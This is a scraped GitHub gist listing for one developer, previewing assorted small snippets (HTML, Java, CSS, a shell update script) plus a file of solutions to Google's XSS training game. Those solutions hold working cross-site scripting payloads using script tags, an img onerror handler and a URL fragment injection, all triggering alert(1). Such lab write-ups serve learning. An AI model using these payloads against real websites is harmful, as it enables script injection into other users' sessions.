Skip to content

Instantly share code, notes, and snippets.

Avatar
:shipit:
shipping bugs

Aaron Esau Arinerron

:shipit:
shipping bugs
View GitHub Profile
@Arinerron
Arinerron / Scratch-Page
Created Jan 1, 2016
A page that interacts with the user based on who they are. This was just a silly test I decided to try, you should check it out, it's pretty funny! :)
View Scratch-Page
<html>
<head><title>User test</title></head>
<body style="background-color:lightgrey;">
<h2>Scratch Stuff by Arinerron</h2>
<script>var s = confirm("Please click OK if you are signed in to Scratch, Cancel if not; this page doesn't really work if you're not...");
if(s) {
} else {
document.write("Please this button once you sign in to Scratch! This page uses iframes and won't really work if you're not. (Inspect Element to see the src code).<br>");
document.write("<div style=\"border:1px dashed black; background-color:white;\"><input type=\"button\" name=\"Reload\" text=\"Reload\" id=\"clearCache\" value=\"Reload\" onclick=\"window.location.reload(true);\"></div>");
@Arinerron
Arinerron / surprise.js
Created Feb 22, 2016
A surprise for a friend, Mooncat39 :)
View surprise.js
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('7.9="<4>&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;6\\2\\1&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;\\/&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;\\\\\\2\\1&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;|&0;&0;&0;&0;5&0;&0;&0;&0;&0;|\\2\\1&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;|&0;&0;&0;|&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;|&0;&0;&0;&0;|\\2\\1&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;|&0;&0;&0;|&0;&0;8:\\\\>&0;3&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;|&0;&0;&0;&0;|\\2\\1&0;&0;&0;&0;&0;&0;&0;
@Arinerron
Arinerron / Reader.java
Created Mar 5, 2016
A really simple program in 30 lines of code to decide the grade level that a book/paragraph/sentence should be offered to.
View Reader.java
import javax.swing.JOptionPane;
public class Reader {
public Reader() {
String text = JOptionPane.showInputDialog("Please enter a few sentences to parse.");
int level = (int) read(text);
JOptionPane.showMessageDialog(null, "The text is " + (int) Math.ceil(level) + (level == 1 ? "st" : (level == 2 ? "nd" : (level == 3 ? "rd" : "th"))) + " grader level.");
}
@Arinerron
Arinerron / styles.css
Created Apr 25, 2016
Dark theme for Stackoverflow...
View styles.css
#answer-from-ask {
background-color: #4d4d4d;
color: #303030;
}
#email {
background-color: #4a4a4a;
border-color: #d9d9d9;
border-style: solid;
border-width: 1px;
View keybase.md

Keybase proof

I hereby claim:

  • I am arinerron on github.
  • I am arinerron (https://keybase.io/arinerron) on keybase.
  • I have a public key whose fingerprint is 02EC 5EE6 194D A341 A132 A295 FA6E 4332 B944 9910

To claim this, I am signing this object:

@Arinerron
Arinerron / Main.java
Created Sep 1, 2016
Read and write directly to a socket from terminal.
View Main.java
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.net.Socket;
import java.util.Scanner;
public class Main {
public static void main(String[] args) {
@Arinerron
Arinerron / update.sh
Created Aug 15, 2016
My user-friendly updating script for Linux. Keeps the computer up-to-date. Perhaps I should make a cron job to make this run at midnight? :P
View update.sh
# Arinerron's update script
# License: Nope. This code is easily recreatable, and I spent like 5 minutes writing it. I couldn't care less if you claimed this code as your or somehow made millions off of this or whatever. Have fun. :P
export COLOR_NC='\e[0m';
export COLOR_GREEN='\e[0;32m';
clear;
echo -e "$COLOR_GREEN""[Update] ""$COLOR_NC""Updating package listing...";
sudo apt-get -qq update;
echo -e "$COLOR_GREEN""[Update] ""$COLOR_NC""Upgrading software...";
@Arinerron
Arinerron / scrollbar.css
Last active Oct 10, 2016
custom scrollbar for @zacharyvincze's amazing user-friendly forum
View scrollbar.css
::-webkit-scrollbar {
width: 13px;
height: 13px;
}
::-webkit-scrollbar-button {
width: 0px;
height: 0px;
}
@Arinerron
Arinerron / ChaosWebs.java
Last active Dec 13, 2016
Detect when a new post is made on @beardog108's blog (https://chaoswebs.net/blog/).
View ChaosWebs.java
import java.util.*;
import java.util.regex.Pattern;
import java.net.*;
import java.io.*;
public class ChaosWebs {
public static double time = 6 * 60 * 60 * 1000;
public static String filename = ".last_post.txt";
public static void main(String[] args) {
@Arinerron
Arinerron / xss-game-solutions.txt
Last active Jan 12, 2017
These are my solutions to http://xss-game.appspot.com/. I did not use any hints on these, but I took a while on the last two.
View xss-game-solutions.txt
These are my solutions to http://xss-game.appspot.com/. I did not use any hints on these, but I took a while on the last two.
[Level 1]: Search for the string.
<script>alert(1)</script>
[Level 2]: Post the string
<img src=x onerror=javascript:alert(1)></img>
[Level 3]: Navigate to the URL
http://xss-game.appspot.com/level3/frame#1' onerror="javascript:alert(1)"
You can’t perform that action at this time.